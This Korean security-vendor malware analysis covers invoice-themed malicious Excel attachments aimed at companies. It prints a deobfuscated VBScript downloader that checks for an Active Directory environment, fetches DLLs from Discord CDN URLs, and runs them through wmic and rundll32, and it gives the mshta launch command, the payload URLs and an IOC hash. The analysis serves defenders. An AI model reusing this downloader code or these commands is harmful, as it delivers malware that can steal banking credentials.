기업 타겟 Invoice 위장 엑셀 문서 유포

ASEC 분석팀은 최근 Invoice로 위장한 악성 엑셀 문서를 확인하였다. 해당 엑셀 파일은 Invoice-[숫자]_날짜.xlsb 파일명으로 메일에 첨부되어 유포되고 있다. 아래는 국내에 유포중인 악성 메일이다.

그림 1. 메일 화면

메일에 첨부된 엑셀 파일 실행 시 편집 사용이 제한되어 있으며, 아래와 같이 특정 이미지가 포함되어 있어 사용자의 클릭을 유도한다.

그림 2. 엑셀 화면

또한, 해당 이미지에는 매크로가 지정되어 있어 사용자가 이미지를 클릭해야만 매크로가 실행되어 악성 행위를 수행한다. Macro1 시트는 숨겨진 시트로 존재하며, 해당 시트는 아래 그림4와 같이 다수의 수식이 여러 셀에 나누져 있다.

그림 3. 그림에 지정된 매크로
그림 4. 숨겨진 시트

사용자가 이미지 클릭 시 다음과 같은 경고창이 생성된다. 이후 이에 대한 확인이나 닫기 버튼을 클릭해야만 악성 행위가 수행된다.

그림 5. 생성되는 경고창

이후 실행된 매크로는 \%APPDATA%\Microsoft\Excel\XLSTART 폴더에 excel.rtf에 파일을 생성하고 wmic process call create ‘mshta \%APPDATA%\Microsoft\Excel\XLSTART\excel.rtf’ 명령어로 해당 파일을 실행한다.

그림 6. 생성된 excel.rtf 파일

excel.rtf 파일은 html 파일로 내부에는 다수의 주석을 삽입하는 등 사용자가 알아보기 어려운 형태로 된 악성 VBScript가 존재한다. 아래는 난독화를 제거한 excel.rtf 파일의 스크립트이다.

<!DOCTYPE html>
<html>
<head>
---중략---
<script type="text/vbscript" LANGUAGE="VBScript" >
Set hRpLar = CreateObject("Wscript.Shell") 
fpCHuctA = Replace(hRpLar.expandenvironmentstrings("%LOGONSERVER%"), CHR(92), "") 
RBfOKtU = hRpLar.expandenvironmentstrings("%USERDOMAIN%") 
If LCase(fpCHuctA) <> LCase(RBfOKtU) Then 

For Each WvpdWK in Array("https://cdn.discordapp.com/attachments/899633354561970258/899633408437813278/8_GrooveAudio.dll" , "https://cdn.discordapp.com/attachments/899633354561970258/899633406822977536/7_docprop.dll" , "https://cdn.discordapp.com/attachments/899633354561970258/899633425420546098/5_System.dll")  
    Set UWXaoFp = CreateObject("Scripting.FileSystemObject")
    If Not UWXaoFp.FileExists("C:\\ProgramData\spprgrss.png") Then
---중략---
         with FiTmVH 
            .type = 1
            .open
            .write djGHweg.responseBody 
            .savetofile "C:\\ProgramData\spprgrss.png", 2 
            .close  
        end with 
        With CreateObject("Wscript.Shell") 
            .Exec("wmic process call create " & Chr(34) & "rundll32.exe C:\\ProgramData\spprgrss.png BrandMe" & Chr(34))
        End With
---생략---

해당 스크립트에는 %LOGONSERVER%과 %USERDOMAIN%의 변수 값을 체크하는 코드가 존재한다. 일반 사용자의 경우 해당 값이 동일하여 다운로드가 이루어지지 않으며, AD 환경 사용자를 타겟으로 한 악성코드로 추정된다.

%LOGONSERVER%과 %USEDOMAIN%에 설정된 값이 다를 경우 추가 악성 파일 다운로드가 수행되며 다운로드한 파일은 ProgramData 폴더에 spprgrss.png 로 저장 후 wmic process call create “rundll32.exe C:\\ProgramData\spprgrss.png BrandMe” 로 실행한다.

아래는 해당 스크립트에 존재하는 다운로드 URL이다.

  • hxxps://cdn.discordapp.com/attachments/899633354561970258/899633408437813278/8_GrooveAudio.dll
  • hxxps://cdn.discordapp.com/attachments/899633354561970258/899633406822977536/7_docprop.dll
  • hxxps://cdn.discordapp.com/attachments/899633354561970258/899633425420546098/5_System.dll

현재는 위 URL로 접속이 불가하여 추가 파일 다운로드가 이루어지지 않지만, dridex 등 뱅킹형 악성코드를 다운받는 것으로 추정된다.

VBA 매크로를 포함하는 엑셀 파일 뿐만 아니라 이와 같이 수식 매크로를 사용하는 엑셀 파일도 꾸준히 확인되고 있다. 항상 강조한 것처럼 알 수 없는 사용자로부터 수신한 메일의 첨부파일은 실행을 자제해야한다. 또한, 파일에 포함된 악성 매크로가 자동으로 실행 되지 않도록 주의하여야 한다.

현재 V3에서는 해당 악성코드를 다음과 같이 진단하고 있다.

[파일 진단]

  • Downloader/XLS.Generic

[IOC]

  • 8b645dcfa487c9146a9c5b08aeeeb230

연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

Categories:악성코드 정보

Tagged as:,

5 1 vote
별점 주기
guest
0 댓글
Inline Feedbacks
View all comments